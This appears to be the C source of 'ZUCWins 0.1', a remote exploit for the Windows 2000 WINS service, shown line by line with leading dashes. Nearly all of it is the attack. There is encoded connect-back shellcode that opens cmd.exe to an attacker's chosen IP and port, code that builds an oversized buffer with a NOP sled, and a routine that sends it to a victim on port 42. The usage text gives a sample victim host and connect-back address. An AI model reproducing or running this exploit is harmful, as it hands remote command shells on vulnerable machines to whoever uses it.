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- /*************************************************************/
- /* ZUCWins 0.1 - Wins 2000 remote root exploit */
- /* Exploit by : <zuc@hack.it> */
- /* works on Windows 2000 SP3/SP4 probably every language */
- /*************************************************************/
-
- /* Successfully tested by K-OTik Security on Win2k ENGLISH & FRENCH */
- /* Could be Compiled in CygWin, just google for curses.h and put it in the right path it. (KumKum) */
-
- #include <stdio.h>
- #include <stdlib.h>
- #include <string.h>
- #include <sys/socket.h>
- #include <time.h>
- #include <netinet/in.h>
- #include <curses.h>
- #include <unistd.h>
- #include <errno.h>
- #include <netdb.h>
- #include <signal.h>
- #include <sys/types.h>
- #include <sys/time.h>
- #include <sys/select.h>
- #include <netinet/in.h>
- #include <arpa/inet.h>
-
- char shellcode[] =
- "\xeb\x25\xe9\xfa\x99\xd3\x77\xf6\x02\x06\x6c\x59\x6c\x59\xf8"
- "\x1d\x9c\xde\x8c\xd1\x4c\x70\xd4\x03\x58\x46\x57\x53\x32\x5f"
- "\x33\x32\x2e\x44\x4c\x4c\x01\xeb\x05\xe8\xf9\xff\xff\xff\x5d"
- "\x83\xed\x2c\x6a\x30\x59\x64\x8b\x01\x8b\x40\x0c\x8b\x70\x1c"
- "\xad\x8b\x78\x08\x8d\x5f\x3c\x8b\x1b\x01\xfb\x8b\x5b\x78\x01"
- "\xfb\x8b\x4b\x1c\x01\xf9\x8b\x53\x24\x01\xfa\x53\x51\x52\x8b"
- "\x5b\x20\x01\xfb\x31\xc9\x41\x31\xc0\x99\x8b\x34\x8b\x01\xfe"
- "\xac\x31\xc2\xd1\xe2\x84\xc0\x75\xf7\x0f\xb6\x45\x09\x8d\x44"
- "\x45\x08\x66\x39\x10\x75\xe1\x66\x31\x10\x5a\x58\x5e\x56\x50"
- "\x52\x2b\x4e\x10\x41\x0f\xb7\x0c\x4a\x8b\x04\x88\x01\xf8\x0f"
- "\xb6\x4d\x09\x89\x44\x8d\xd8\xfe\x4d\x09\x75\xbe\xfe\x4d\x08"
- "\x74\x17\xfe\x4d\x24\x8d\x5d\x1a\x53\xff\xd0\x89\xc7\x6a\x02"
- "\x58\x88\x45\x09\x80\x45\x79\x0c\xeb\x82\x50\x8b\x45\x04\x35"
- "\x93\x93\x93\x93\x89\x45\x04\x66\x8b\x45\x02\x66\x35\x93\x93"
- "\x66\x89\x45\x02\x58\x89\xce\x31\xdb\x53\x53\x53\x53\x56\x46"
- "\x56\xff\xd0\x89\xc7\x55\x58\x66\x89\x30\x6a\x10\x55\x57\xff"
- "\x55\xe0\x8d\x45\x88\x50\xff\x55\xe8\x55\x55\xff\x55\xec\x8d"
- "\x44\x05\x0c\x94\x53\x68\x2e\x65\x78\x65\x68\x5c\x63\x6d\x64"
- "\x94\x31\xd2\x8d\x45\xcc\x94\x57\x57\x57\x53\x53\xfe\xca\x01"
- "\xf2\x52\x94\x8d\x45\x78\x50\x8d\x45\x88\x50\xb1\x08\x53\x53"
- "\x6a\x10\xfe\xce\x52\x53\x53\x53\x55\xff\x55\xf0\x6a\xff\xff"
- "\x55\xe4";
-
- char mess[] =
- "\x00\x03\x0d\x4c\x77\x77\xFF\x77\x05\x4e\x00\x3c\x01\x02\x03\x04"
- // "\x00\x03\x0d\x4c\x77\x77\xFF\x77\x05\x4e\x00\x3c\x01\x02\x03\x04"
-
- "\x6c\xf4\x3d\x05\x00\x02\x4e\x05\x00\x02\x4e\x05\x00\x02\x4e\x05\x00\x02\
- x4e\x05\x00\x02\x4e\x05\x00\x02\x4e\x05\x00\x02\x4e\x05\x00\x02\x4e\x05";
- char rep[] =
-
- "\x90\x01\x4e\x05\x90\x00\x4e\x05\x90\x00\x4e\x05\x90\x00\x4e\x05\x90\x00\
- x4e\x05\x90\x00\x4e\x05\x90\x00\x4e\x05\x90\x03\x4e\x05\x90\x00\x4e\x05";
- void usage();
-
- int main(int argc, char *argv[])
- {
- int i,sock,sock2,sock3,addr,len=16;
- int rc;
- unsigned long XORIP = 0x93939393;
- unsigned short XORPORT = 0x9393;
- int cbport;
- long cbip;
-
- struct sockaddr_in mytcp;
- struct hostent * hp;
-
- if(argc<4 || argc>4)
- usage();
-
- cbport = htons(atoi(argv[3]));
- cbip = inet_addr(argv[2]);
- cbport ^= XORPORT;
- cbip ^= XORIP;
- memcpy(&shellcode[2],&cbport,2);
- memcpy(&shellcode[4],&cbip,4);
-
- char mess2[200000];
- memset(mess2,0,sizeof(mess2));
- char mess3[210000];
- memset(mess3,0,sizeof(mess3));
- int ir;
- for(ir =0;ir<200000;ir++)mess2[ir]='\x90';
- memcpy(mess3,mess,sizeof(mess)-1);
- int r=0;int le=sizeof(mess)-1;
- for(r;r<30;r++)
- {
- memcpy(mess3+le,rep,sizeof(rep)-1);
- le+=sizeof(rep)-1;
- }
- memcpy(mess3+le,mess2,200000);
- memcpy(mess3+le+198000,shellcode,sizeof(shellcode));
- int lenr=le+200000+sizeof(shellcode);
- hp = gethostbyname(argv[1]);
-
- addr = inet_addr(argv[1]);
-
- sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
- if (!sock)
- {
- //printf("socket() error...\n");
- exit(-1);
- }
-
- mytcp.sin_addr.s_addr = addr;
-
- mytcp.sin_family = AF_INET;
-
- mytcp.sin_port=htons(42);
-
- printf("[*] connecting the target\n");
-
- rc=connect(sock, (struct sockaddr *) &mytcp, sizeof (struct
- sockaddr_in));
- printf("[*] sending exploit\n");
- send(sock,mess3,lenr,0);
- printf("[*] exploit sent\n");
- sleep(5);
- shutdown(sock,1);
- close(sock);
- shutdown(sock,2);
- close(sock2);
- shutdown(sock,3);
- close(sock3);
- exit(0);
- }
-
- void usage()
- {
- unsigned int a;
- printf("\nUsage: <victim-host> <connectback-ip> <connectback port>\n");
- printf("Sample: ZUC-WINShit www.vulnwins.com 31.33.7.23 31337\n\n");
- exit(0);
- }
-